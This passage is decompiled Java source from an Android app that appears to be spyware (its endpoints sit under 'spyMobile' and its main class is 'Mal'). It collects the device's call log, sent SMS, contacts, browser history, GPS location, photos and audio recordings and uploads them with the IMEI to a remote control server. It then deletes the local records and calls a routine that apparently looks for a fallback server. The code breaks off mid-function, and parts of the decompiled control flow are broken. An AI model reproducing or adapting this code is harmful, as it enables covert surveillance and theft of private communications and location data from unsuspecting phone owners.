ConvertPointToLocation(Double.parseDouble(latit), Double.parseDouble(longi)); | |
String url = (Mal.Server_Domain + "/spyMobile/api_gpslocation.php?imei=" + devid + "¤tLoaction=" + this.strAddress + "&lat_long=" + longi + "," + latit + "&timing=" + timing).replace(" ", "%20"); | |
Log.d("url", url); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
httpPost = new HttpPost(url); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(httpPost, localContext); | |
} catch (ClientProtocolException e2) { | |
} catch (IOException e3) { | |
} | |
try { | |
try { | |
result = convertStreamToString(response.getEntity().getContent()); | |
} catch (IllegalStateException e4) { | |
e4.printStackTrace(); | |
} catch (IOException e5) { | |
e5.printStackTrace(); | |
} | |
} catch (Exception e6) { | |
Mal.findServer(); | |
i += 4; | |
httpPost2 = httpPost; | |
} | |
} catch (Exception e7) { | |
httpPost = httpPost2; | |
Mal.findServer(); | |
i += 4; | |
httpPost2 = httpPost; | |
} | |
i += 4; | |
httpPost2 = httpPost; | |
} catch (Exception e8) { | |
e = e8; | |
httpPost = httpPost2; | |
} | |
} | |
try { | |
if (Data.size() > 0) { | |
db.DeleteAllContact("tbl_GPS"); | |
} | |
} catch (Exception exp) { | |
System.out.println("Error DELETE ALL GPS Location Log Database = " + exp.toString()); | |
} | |
httpPost = httpPost2; | |
} catch (Exception e9) { | |
e = e9; | |
} | |
db.close(); | |
} catch (Exception e10) { | |
e10.printStackTrace(); | |
} | |
return result; | |
e10.printStackTrace(); | |
db.close(); | |
return result; | |
} | |
@NonNull | |
private static String convertStreamToString(InputStream is) { | |
StringBuilder sb = new StringBuilder(); | |
try { | |
BufferedReader reader = new BufferedReader(new InputStreamReader(is), 1024); | |
while (true) { | |
try { | |
String line = reader.readLine(); | |
if (line == null) { | |
break; | |
} | |
sb.append(line + "\n"); | |
} catch (IOException e) { | |
try { | |
is.close(); | |
} catch (IOException e2) { | |
e2.printStackTrace(); | |
} | |
} catch (Exception e3) { | |
e3.printStackTrace(); | |
} catch (Throwable th) { | |
try { | |
is.close(); | |
} catch (IOException e22) { | |
e22.printStackTrace(); | |
} | |
} | |
} | |
System.out.println("Conver stream result = " + sb.toString()); | |
try { | |
is.close(); | |
} catch (IOException e222) { | |
e222.printStackTrace(); | |
} | |
} catch (Exception e32) { | |
System.out.println("Error in browser send = " + e32.toString()); | |
} | |
return sb.toString(); | |
} | |
public void find_Location(Context con) { | |
Log.d("Find Location", "in find_location"); | |
try { | |
LocationManager locationManager = (LocationManager) con.getSystemService("location"); | |
List<String> providers = locationManager.getProviders(true); | |
if (Looper.myLooper() == null) { | |
Looper.prepare(); | |
} | |
for (String provider : providers) { | |
locationManager.requestLocationUpdates(provider, 1000, 0.0f, new C02692(), Looper.getMainLooper()); | |
Location location = locationManager.getLastKnownLocation(provider); | |
if (location != null) { | |
this.latitude = location.getLatitude(); | |
this.longitude = location.getLongitude(); | |
ConvertPointToLocation(this.latitude, this.longitude); | |
} | |
} | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
public String ConvertPointToLocation(double pointlat, double pointlog) { | |
String address = ""; | |
try { | |
List<Address> addresses = new Geocoder(this, Locale.getDefault()).getFromLocation(pointlat, pointlog, 1); | |
if (addresses.size() > 0) { | |
for (int index = 0; index < ((Address) addresses.get(0)).getMaxAddressLineIndex(); index++) { | |
address = address + ((Address) addresses.get(0)).getAddressLine(index) + " "; | |
} | |
} | |
this.strAddress = address; | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
return address; | |
} | |
public String sendCallDetails(String devid) { | |
DatabaseHandlers db; | |
Exception exp; | |
String result = "error"; | |
try { | |
HttpPost httpPost; | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
db = new DatabaseHandlers(this.context); | |
List<String> Data = db.getAllData("tbl_CALL", new String[]{"Number", "Type", "Duration", "Time"}); | |
int i = 0; | |
HttpPost httpPost2 = null; | |
while (i < Data.size()) { | |
try { | |
try { | |
String url = Mal.Server_Domain + "/spyMobile/api_calltracking.php?imei=" + devid + "&callerno=" + ((String) Data.get(i)) + "&calltype=" + ((String) Data.get(i + 1)) + "&callduration=" + ((String) Data.get(i + 2)) + "&calltiming=" + ((String) Data.get(i + 3)); | |
Log.d("Call Details ", url); | |
url = url.replace(" ", "%20"); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
httpPost = new HttpPost(url); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(httpPost, localContext); | |
} catch (ClientProtocolException e) { | |
} catch (IOException e2) { | |
} | |
try { | |
try { | |
result = convertStreamToString(response.getEntity().getContent()); | |
} catch (IllegalStateException e3) { | |
e3.printStackTrace(); | |
} catch (IOException e4) { | |
e4.printStackTrace(); | |
} | |
} catch (Exception e5) { | |
try { | |
Mal.findServer(); | |
i += 5; | |
httpPost2 = httpPost; | |
} catch (Exception e6) { | |
exp = e6; | |
} | |
} | |
} catch (Exception e7) { | |
httpPost = httpPost2; | |
Mal.findServer(); | |
i += 5; | |
httpPost2 = httpPost; | |
} | |
i += 5; | |
httpPost2 = httpPost; | |
} catch (Exception e8) { | |
exp = e8; | |
httpPost = httpPost2; | |
} | |
} | |
try { | |
if (Data.size() > 0) { | |
db.DeleteAllContact("tbl_CALL"); | |
} | |
} catch (Exception exp2) { | |
System.out.println("Error DELETE ALL Contact Log Database = " + exp2.toString()); | |
} | |
httpPost = httpPost2; | |
db.close(); | |
} catch (Exception e9) { | |
e9.printStackTrace(); | |
} | |
return result; | |
System.out.println("Error SendSMS Log Database = " + exp2.toString()); | |
db.close(); | |
return result; | |
} | |
public String sendImageData(String devid) { | |
int j; | |
HttpPost httpPost; | |
String result = "error"; | |
System.out.println("Inside of Send Image"); | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
DatabaseHandlers db = new DatabaseHandlers(this); | |
String[] columns_photosend = new String[]{"Name", "Path"}; | |
List<String> Data = db.getAllData("tbl_PHOTO", columns_photosend); | |
ArrayList<String> Name = new ArrayList(); | |
ArrayList<String> Path = new ArrayList(); | |
for (j = 0; j < Data.size(); j += 3) { | |
try { | |
Name.add(Data.get(j)); | |
Path.add(Data.get(j + 1)); | |
} catch (Exception e) { | |
try { | |
e.printStackTrace(); | |
} catch (Exception e2) { | |
e2.printStackTrace(); | |
} | |
} | |
} | |
int i = 0; | |
HttpPost httpPost2 = null; | |
while (i < this.ImagefileName.size()) { | |
try { | |
Boolean check_last_upload = Boolean.valueOf(false); | |
j = 0; | |
while (j < Name.size()) { | |
if (((String) this.ImagefileName.get(i)).indexOf((String) Name.get(j)) >= 0 && ((String) this.ImagepathName.get(i)).indexOf((String) Path.get(j)) >= 0) { | |
check_last_upload = Boolean.valueOf(true); | |
break; | |
} | |
j++; | |
} | |
if (check_last_upload.booleanValue()) { | |
httpPost = httpPost2; | |
} else { | |
try { | |
db.Insert_table("tbl_PHOTO", columns_photosend, new String[]{(String) this.ImagefileName.get(i), ((String) this.ImagepathName.get(i)).trim()}); | |
} catch (Exception e22) { | |
e22.printStackTrace(); | |
} | |
System.out.println("Inside of Send Image for loop"); | |
String url = Mal.Server_Domain + "/spyMobile/api_phototracking.php?imei=" + devid + "&photoName=" + ((String) this.ImagefileName.get(i)); | |
Log.d("Send Image Data ", url); | |
url = url.replace(" ", "%20"); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
httpPost = new HttpPost(url); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(httpPost, localContext); | |
} catch (ClientProtocolException e3) { | |
} catch (IOException e4) { | |
} | |
try { | |
try { | |
result = ""; | |
result = convertStreamToString(response.getEntity().getContent()); | |
if (result.indexOf("already Inserted") == -1) { | |
doImageFileUpload(((String) this.ImagepathName.get(i)).trim(), devid); | |
} | |
} catch (IllegalStateException e5) { | |
e5.printStackTrace(); | |
} catch (IOException e6) { | |
e6.printStackTrace(); | |
} | |
} catch (Exception e7) { | |
Mal.findServer(); | |
i++; | |
httpPost2 = httpPost; | |
} | |
} | |
} catch (Exception e8) { | |
httpPost = httpPost2; | |
Mal.findServer(); | |
i++; | |
httpPost2 = httpPost; | |
} | |
i++; | |
httpPost2 = httpPost; | |
} | |
return result; | |
} | |
public String sendAudioData(String devid) { | |
String result = "error"; | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
int i = 0; | |
while (i < this.AudiofileName.size()) { | |
String url = Mal.Server_Domain + "/spyMobile/api_audio.php?imei=" + devid + "&audioname=" + ((String) this.AudiofileName.get(i)); | |
Log.d("Send Audio Details ", url); | |
url = url.replace(" ", "%20"); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(new HttpPost(url), localContext); | |
} catch (ClientProtocolException e) { | |
} catch (IOException e2) { | |
} | |
try { | |
try { | |
result = convertStreamToString(response.getEntity().getContent()); | |
} catch (IllegalStateException e3) { | |
e3.printStackTrace(); | |
} catch (IOException e4) { | |
e4.printStackTrace(); | |
} | |
i++; | |
} catch (Exception e5) { | |
Mal.findServer(); | |
} | |
} | |
return result; | |
} | |
public String SendBrowserDetails_GetLastTime(String devid) { | |
Exception e; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
HttpResponse response = null; | |
System.out.println("Inside of SendBrowser Details = " + this.UrlName.size()); | |
try { | |
String url = (Mal.Server_Domain + "/spyMobile/api_urltracking.php?imei=" + devid + "&urlName=" + "getlasttime" + "&urlLink=a&timing=a").replace(" ", "%20"); | |
Log.d("Browser url ", url); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
HttpPost httpPost = new HttpPost(url); | |
try { | |
response = httpClient.execute(httpPost); | |
} catch (ClientProtocolException e2) { | |
System.out.println("HTTPHelp : ClientProtocolException : " + e2.toString()); | |
} catch (IOException e3) { | |
System.out.println("HTTPHelp : IOException : " + e3.toString()); | |
} | |
HttpPost httpPost2; | |
try { | |
String result = convertStreamToString(response.getEntity().getContent()); | |
System.out.println("Browser result = " + result); | |
httpPost2 = httpPost; | |
return result; | |
} catch (Exception e4) { | |
e = e4; | |
httpPost2 = httpPost; | |
Log.e("Url tracking", e.toString()); | |
Mal.findServer(); | |
return null; | |
} | |
} catch (Exception e5) { | |
e = e5; | |
Log.e("Url tracking", e.toString()); | |
Mal.findServer(); | |
return null; | |
} | |
} catch (Exception e6) { | |
System.out.println("Error in browser send = " + e6.toString()); | |
return null; | |
} | |
} | |
public void SendBrowserDetails(String devid) { | |
HttpPost httpPost; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
HttpResponse response = null; | |
System.out.println("Inside of SendBrowser Details = " + this.UrlName.size()); | |
int i = 0; | |
HttpPost httpPost2 = null; | |
while (i < this.UrlName.size()) { | |
try { | |
String url = (Mal.Server_Domain + "/spyMobile/api_urltracking.php?imei=" + devid + "&urlName=" + ((String) this.UrlName.get(i)) + "&urlLink=" + ((String) this.UrlLink.get(i)) + "&timing=" + ((String) this.UrlTime.get(i))).replace(" ", "%20"); | |
Log.d("Browser url ", url); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
httpPost = new HttpPost(url); | |
try { | |
response = httpClient.execute(httpPost); | |
} catch (ClientProtocolException e) { | |
System.out.println("HTTPHelp : ClientProtocolException : " + e.toString()); | |
} catch (IOException e2) { | |
System.out.println("HTTPHelp : IOException : " + e2.toString()); | |
} | |
try { | |
System.out.println("Browser result = " + convertStreamToString(response.getEntity().getContent())); | |
} catch (Exception e3) { | |
Mal.findServer(); | |
i++; | |
httpPost2 = httpPost; | |
} | |
} catch (Exception e4) { | |
httpPost = httpPost2; | |
Mal.findServer(); | |
i++; | |
httpPost2 = httpPost; | |
} | |
i++; | |
httpPost2 = httpPost; | |
} | |
} catch (Exception e5) { | |
System.out.println("Error in browser send = " + e5.toString()); | |
} | |
} | |
public String SendSMS(String devid) { | |
DatabaseHandlers db; | |
HttpPost httpPost; | |
Exception exp; | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
db = new DatabaseHandlers(this.context); | |
try { | |
List<String> Data = db.getAllData("tbl_SMS", new String[]{"Type", "Number", "Text", "Time"}); | |
int i = 0; | |
HttpPost httpPost2 = null; | |
while (i < Data.size()) { | |
try { | |
try { | |
String Number = (String) Data.get(i + 1); | |
String strMessageText = (String) Data.get(i + 2); | |
String Time = (String) Data.get(i + 3); | |
String url = Mal.Server_Domain + "/spyMobile/api_smstracking.php?imei=" + devid + "&smsType=" + ((String) Data.get(i)) + "&smsNumber=" + Number + "&smsText=" + strMessageText + "&smsTiming=" + Time; | |
Log.d("Send SMS url", url); | |
url = url.replace(" ", "%20"); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
httpPost = new HttpPost(url); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(httpPost, localContext); | |
} catch (ClientProtocolException e) { | |
} catch (IOException e2) { | |
} | |
try { | |
try { | |
result = convertStreamToString(response.getEntity().getContent()); | |
} catch (IllegalStateException e3) { | |
e3.printStackTrace(); | |
} catch (IOException e4) { | |
e4.printStackTrace(); | |
} | |
} catch (Exception e5) { | |
Mal.findServer(); | |
i += 5; | |
httpPost2 = httpPost; | |
} | |
} catch (Exception e6) { | |
httpPost = httpPost2; | |
Mal.findServer(); | |
i += 5; | |
httpPost2 = httpPost; | |
} | |
i += 5; | |
httpPost2 = httpPost; | |
} catch (Exception e7) { | |
exp = e7; | |
httpPost = httpPost2; | |
} | |
} | |
try { | |
if (Data.size() > 0) { | |
db.DeleteAllContact("tbl_SMS"); | |
} | |
} catch (Exception exp2) { | |
System.out.println("Error DELETE ALL Contact Log Database = " + exp2.toString()); | |
} | |
httpPost = httpPost2; | |
} catch (Exception e8) { | |
exp2 = e8; | |
} | |
db.close(); | |
} catch (Exception e9) { | |
e9.printStackTrace(); | |
} | |
return result; | |
System.out.println("Error SendSMS Log Database = " + exp2.toString()); | |
db.close(); | |
return result; | |
} | |
public String SendPhoneBook(String devid) { | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
int i = 0; | |
HttpPost httpPost = null; | |
while (i < this.PhoneBookNo.size()) { | |
HttpPost httpPost2; | |
try { | |
String url = Mal.Server_Domain + "/spyMobile/api_phonebookaccess.php?imei=" + devid + "&phonebookListname=" + ((String) this.PhoneBookName.get(i)) + "&mobileNumber=" + ((String) this.PhoneBookNo.get(i)) + "&numberType=" + ((String) this.PhoneBookType.get(i)); | |
Log.d(" phonebook url", url); | |
url = url.replace(" ", ""); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
httpPost2 = new HttpPost(url); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(httpPost2, localContext); | |
} catch (ClientProtocolException e) { | |
} catch (IOException e2) { | |
} | |
try { | |
try { | |
result = convertStreamToString(response.getEntity().getContent()); | |
} catch (IllegalStateException e3) { | |
e3.printStackTrace(); | |
} catch (IOException e4) { | |
e4.printStackTrace(); | |
} | |
} catch (Exception e5) { | |
Mal.findServer(); | |
i++; | |
httpPost = httpPost2; | |
} | |
} catch (Exception e6) { | |
httpPost2 = httpPost; | |
Mal.findServer(); | |
i++; | |
httpPost = httpPost2; | |
} | |
i++; | |
httpPost = httpPost2; | |
} | |
} catch (Exception e7) { | |
e7.printStackTrace(); | |
} | |
return result; | |
} | |
public void getCallDetails() { | |
try { | |
System.out.println("Inside of Call details"); | |
StringBuffer sb = new StringBuffer(); | |
Cursor managedCursor = getContentResolver().query(Calls.CONTENT_URI, null, null, null, null); | |
int number = managedCursor.getColumnIndex("number"); | |
int type = managedCursor.getColumnIndex(SmsReceiver.TYPE); | |
int date = managedCursor.getColumnIndex(SmsReceiver.DATE); | |
int duration = managedCursor.getColumnIndex("duration"); | |
sb.append("Call Details :"); | |
if (managedCursor != null && managedCursor.getCount() > 0) { | |
while (managedCursor.moveToNext()) { | |
try { | |
String phNumber = managedCursor.getString(number); | |
String callType = managedCursor.getString(type); | |
Date callDayTime = new Date(Long.valueOf(managedCursor.getString(date)).longValue()); | |
String callDuration = managedCursor.getString(duration); | |
String dir = null; | |
switch (Integer.parseInt(callType)) { | |
case 1: | |
dir = "INCOMING"; | |
break; | |
case 2: | |
dir = "OUTGOING"; | |
break; | |
case 3: | |
dir = "MISSED"; | |
break; | |
} | |
System.out.println("Call Date = " + callDayTime); | |
this.CallerNo.add(phNumber); | |
this.CallDuration.add(Double.toString(roundMyData(Double.parseDouble(callDuration) / 60.0d, 2))); | |
this.CallType.add(dir); | |
this.CallerTiming.add(callDayTime.toLocaleString()); | |
System.out.println("Call time after filter = " + callDayTime.toLocaleString()); | |
} catch (Exception e) { | |
System.out.println("Error in call details = " + e.toString()); | |
e.printStackTrace(); | |
} | |
} | |
} | |
managedCursor.close(); | |
} catch (Exception e2) { | |
Log.e("Debug", e2.toString()); | |
System.out.println("Error in call details = " + e2.toString()); | |
e2.printStackTrace(); | |
} | |
} | |
public static double roundMyData(double Rval, int numberOfDigitsAfterDecimal) { | |
double p = (double) ((float) Math.pow(10.0d, (double) numberOfDigitsAfterDecimal)); | |
return Math.floor(Rval * p) / p; | |
} | |
public void getBrowserDetails(String Browser_last_insert) { | |
try { | |
Cursor mCur = this.context.getContentResolver().query(Browser.BOOKMARKS_URI, Browser.HISTORY_PROJECTION, null, null, null); | |
mCur.moveToFirst(); | |
if (mCur.moveToFirst() && mCur.getCount() > 0) { | |
while (!mCur.isAfterLast()) { | |
try { | |
String HISTORY_PROJECTION_TITLE_INDEX = mCur.getString(5); | |
String HISTORY_PROJECTION_URL_INDEX = mCur.getString(1); | |
String HISTORY_PROJECTION_DATE_INDEX = mCur.getString(3); | |
Date currentTime = new Date(); | |
long milliseconds = Long.parseLong(HISTORY_PROJECTION_DATE_INDEX); | |
Calendar calendar = Calendar.getInstance(); | |
calendar.setTimeInMillis(milliseconds); | |
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyy-MM-dd HH:mm:ss"); | |
System.out.println("GMT time: " + simpleDateFormat.format(calendar.getTime())); | |
Date date_last_insert_browser = null; | |
try { | |
date_last_insert_browser = new SimpleDateFormat("yyy-MM-dd HH:mm:ss").parse(Browser_last_insert); | |
} catch (Exception ex) { | |
System.out.println("Error in getting browser details : " + ex.toString()); | |
} | |
if (simpleDateFormat.parse(simpleDateFormat.format(calendar.getTime())).after(date_last_insert_browser)) { | |
this.UrlName.add(HISTORY_PROJECTION_TITLE_INDEX); | |
this.UrlLink.add(HISTORY_PROJECTION_URL_INDEX); | |
this.UrlTime.add(simpleDateFormat.format(calendar.getTime())); | |
} | |
} catch (Exception e) { | |
System.out.println("Error in getting browser details : " + e.toString()); | |
} | |
mCur.moveToNext(); | |
} | |
mCur.close(); | |
} | |
} catch (Exception e2) { | |
e2.printStackTrace(); | |
} | |
} | |
public void readOutgoingSMS() { | |
try { | |
System.out.println("Inside of SMS Reading......."); | |
Uri SMSURI = Uri.parse("content://sms/sent"); | |
String[] projection = new String[]{RSSDatabase.ID, SmsReceiver.ADDRESS, SmsReceiver.BODY, SmsReceiver.DATE}; | |
Cursor cursor = null; | |
System.out.println("Inside of SMS Reading Try......."); | |
cursor = getContentResolver().query(SMSURI, projection, null, null, null); | |
if (cursor != null && cursor.moveToFirst()) { | |
DatabaseHandlers databaseHandlers = new DatabaseHandlers(this); | |
String[] columns_sms = new String[]{"Type", "Number", "Text", "Time"}; | |
int count = 0; | |
do { | |
try { | |
int id = cursor.getInt(cursor.getColumnIndex(RSSDatabase.ID)); | |
String address = cursor.getString(cursor.getColumnIndex(SmsReceiver.ADDRESS)); | |
String body = cursor.getString(cursor.getColumnIndex(SmsReceiver.BODY)); | |
System.out.println("SMS TIMING : " + new SimpleDateFormat("yyy-MM-dd HH:mm:ss").format(new Date(Long.valueOf(cursor.getString(cursor.getColumnIndex(SmsReceiver.DATE))).longValue()))); | |
try { | |
databaseHandlers = databaseHandlers; | |
databaseHandlers.Insert_table("tbl_SMS", columns_sms, new String[]{"Outgoing", address, body, new SimpleDateFormat("yyy-MM-dd HH:mm:ss").format(new Date(Long.valueOf(cursor.getString(cursor.getColumnIndex(SmsReceiver.DATE))).longValue()))}); | |
} catch (Exception exp) { | |
System.out.println("Error in Database MAin Activity = " + exp.toString()); | |
} | |
} catch (Exception e) { | |
System.out.println("Error in browser send = " + e.toString()); | |
} | |
if (count != 20) { | |
count++; | |
try { | |
} catch (Exception e2) { | |
System.out.println("Error = " + e2.toString()); | |
if (cursor != null) { | |
cursor.close(); | |
return; | |
} | |
return; | |
} catch (Throwable th) { | |
if (cursor != null) { | |
cursor.close(); | |
} | |
} | |
} | |
break; | |
} while (cursor.moveToNext()); | |
databaseHandlers.close(); | |
} | |
if (cursor != null) { | |
cursor.close(); | |
} | |
} catch (Exception e22) { | |
System.out.println("Error in browser send = " + e22.toString()); | |
} | |
} | |
public String getSMSTime(long time) { | |
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss.SSS"); | |
Calendar calendar = Calendar.getInstance(); | |
try { | |
calendar.setTimeInMillis(time); | |
} catch (Exception e) { | |
System.out.println("Error in browser send = " + e.toString()); | |
} | |
return formatter.format(calendar.getTime()); | |
} | |
public int readPhonebook() { | |
ContentResolver cr = this.context.getContentResolver(); | |
int Count = 0; | |
try { | |
Cursor cursor = cr.query(Contacts.CONTENT_URI, null, null, null, null); | |
if (cursor.moveToFirst()) { | |
String contactId = cursor.getString(cursor.getColumnIndex(RSSDatabase.ID)); | |
Cursor phones = cr.query(Phone.CONTENT_URI, null, null, null, null); | |
System.out.println("Cursor Size = " + phones.getCount()); | |
while (phones.moveToNext()) { | |
Count++; | |
try { | |
String name; | |
String number = phones.getString(phones.getColumnIndex("data1")); | |
this.PhoneBookNo.add(number); | |
try { | |
name = URLEncoder.encode(phones.getString(phones.getColumnIndex("display_name")), "utf-8"); | |
} catch (UnsupportedEncodingException e1) { | |
e1.printStackTrace(); | |
} | |
this.PhoneBookName.add(name); | |
switch (phones.getInt(phones.getColumnIndex("data2"))) { | |
case 1: | |
this.PhoneBookType.add("Home"); | |
System.out.println(" Home " + number + "Name " + name); | |
break; | |
case 2: | |
this.PhoneBookType.add("Mobile"); | |
System.out.println(" Mobile " + number + "Name " + name); | |
break; | |
case 3: | |
this.PhoneBookType.add("Work"); | |
System.out.println(" Work " + number + "Name " + name); | |
break; | |
default: | |
break; | |
} | |
} catch (Exception e) { | |
System.out.println("Error in browser send = " + e.toString()); | |
} | |
} | |
phones.close(); | |
} | |
} catch (Exception e2) { | |
System.out.println("Error in readPhonebook = " + e2.toString()); | |
} | |
return Count; | |
} | |
public int CheckConnection() { | |
try { | |
NetworkInfo activeNetwork = ((ConnectivityManager) getSystemService("connectivity")).getActiveNetworkInfo(); | |
if (activeNetwork == null || activeNetwork.getState() != State.CONNECTED) { | |
return 0; | |
} | |
return 1; | |
} catch (Exception e) { | |
System.out.println("Error = " + e.toString()); | |
return 0; | |
} | |
} | |
private void doImageFileUpload(String path, String imei) { | |
DataInputStream dataInputStream; | |
String str; | |
DataInputStream dataInputStream2; | |
Throwable ioex; | |
Throwable ioe; | |
DataOutputStream dataOutputStream; | |
HttpURLConnection conn = null; | |
String existingFileName = path; | |
String lineEnd = "\r\n"; | |
String twoHyphens = "--"; | |
String boundary = "*****"; | |
String responseFromServer = ""; | |
String urlString = Mal.Server_Domain + "/spyMobile/upload.php?imei=" + imei; | |
try { | |
FileInputStream fileInputStream = new FileInputStream(new File(existingFileName)); | |
conn = (HttpURLConnection) new URL(urlString).openConnection(); | |
conn.setDoInput(true); | |
conn.setDoOutput(true); | |
conn.setUseCaches(false); | |
conn.setRequestMethod("POST"); | |
conn.setRequestProperty("Connection", "Keep-Alive"); | |
conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); | |
DataOutputStream dos = new DataOutputStream(conn.getOutputStream()); | |
} catch (MalformedURLException e) { | |
MalformedURLException ex = e; | |
Log.e("Debug", "error: " + ex.getMessage(), ex); | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
try { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
Log.e("Debug", "Server Response " + str); | |
} catch (IOException e2) { | |
ioex = e2; | |
dataInputStream2 = dataInputStream; | |
} catch (Exception e3) { | |
dataInputStream2 = dataInputStream; | |
} | |
} | |
} catch (IOException e4) { | |
ioe = e4; | |
try { | |
Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
Log.e("Debug", "Server Response " + str); | |
} else { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
} | |
} catch (Exception e5) { | |
Mal.findServer(); | |
return; | |
} | |
} | |
try { | |
dos.writeBytes(twoHyphens + boundary + lineEnd); | |
dos.writeBytes("Content-Disposition: form-data; name=\"upload\";filename=\"" + existingFileName + lineEnd); | |
dos.writeBytes(lineEnd); | |
int bufferSize = Math.min(fileInputStream.available(), AccessibilityEventCompat.TYPE_TOUCH_INTERACTION_START); | |
byte[] buffer = new byte[bufferSize]; | |
int bytesRead = fileInputStream.read(buffer, 0, bufferSize); | |
while (bytesRead > 0) { | |
dos.write(buffer, 0, bufferSize); | |
bufferSize = Math.min(fileInputStream.available(), AccessibilityEventCompat.TYPE_TOUCH_INTERACTION_START); | |
bytesRead = fileInputStream.read(buffer, 0, bufferSize); | |
} | |
dos.writeBytes(lineEnd); | |
dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); | |
Log.e("Debug", "File is written"); | |
fileInputStream.close(); | |
dos.flush(); | |
dos.close(); | |
dataOutputStream = dos; | |
} catch (MalformedURLException e6) { | |
ex = e6; | |
dataOutputStream = dos; | |
Log.e("Debug", "error: " + ex.getMessage(), ex); | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
Log.e("Debug", "Server Response " + str); | |
} | |
} catch (IOException e7) { | |
ioe = e7; | |
dataOutputStream = dos; | |
Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
Log.e("Debug", "Server Response " + str); | |
} else { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
} | |
} catch (Exception e8) { | |
dataOutputStream = dos; | |
Mal.findServer(); | |
return; | |
} | |
try { | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
Log.e("Debug", "Server Response " + str); | |
} else { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
return; | |
} | |
} | |
} catch (IOException e9) { | |
ioex = e9; | |
Log.e("Debug", "error: " + ioex.getMessage(), ioex); | |
} | |
} | |
public static String sendAudioDataRecord(String filename_sendAudioDataRecord) { | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
String url = Mal.Server_Domain + "/spyMobile/api_audio.php?imei=" + deviceIMEI + "&audioname=" + filename_sendAudioDataRecord; | |
Log.d("Send Audio Details ", url); | |
url = url.replace(" ", "%20"); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(new HttpPost(url), localContext); | |
} catch (ClientProtocolException e) { | |
} catch (IOException e2) { | |
} | |
try { | |
result = convertStreamToString(response.getEntity().getContent()); | |
} catch (IllegalStateException e3) { | |
e3.printStackTrace(); | |
} catch (IOException e4) { | |
e4.printStackTrace(); | |
} | |
} catch (Exception e5) { | |
Mal.findServer(); | |
} | |
return result; | |
} | |
public static void doAudioFileUpload(String path) { | |
DataInputStream dataInputStream; | |
String str; | |
DataInputStream dataInputStream2; | |
Throwable ioex; | |
Throwable ioe; | |
DataOutputStream dataOutputStream; | |
HttpURLConnection conn = null; | |
String existingFileName = path; | |
System.out.println("Inside of doupload nd path = " + path); | |
String lineEnd = "\r\n"; | |
String twoHyphens = "--"; | |
String boundary = "*****"; | |
String responseFromServer = ""; | |
String urlString = Mal.Server_Domain + "/spyMobile/audio_upload.php?imei=" + deviceIMEI; | |
try { | |
FileInputStream fileInputStream = new FileInputStream(new File(existingFileName)); | |
conn = (HttpURLConnection) new URL(urlString).openConnection(); | |
conn.setDoInput(true); | |
conn.setDoOutput(true); | |
conn.setUseCaches(false); | |
conn.setRequestMethod("POST"); | |
conn.setRequestProperty("Connection", "Keep-Alive"); | |
conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); | |
DataOutputStream dos = new DataOutputStream(conn.getOutputStream()); | |
} catch (MalformedURLException e) { | |
MalformedURLException ex = e; | |
Log.e("Debug", "error: " + ex.getMessage(), ex); | |
dataInputStream = new DataInputStream(conn.getInputStream()); | |
while (true) { | |
try { | |
str = dataInputStream.readLine(); | |
if (str != null) { | |
dataInputStream.close(); | |
dataInputStream2 = dataInputStream; | |
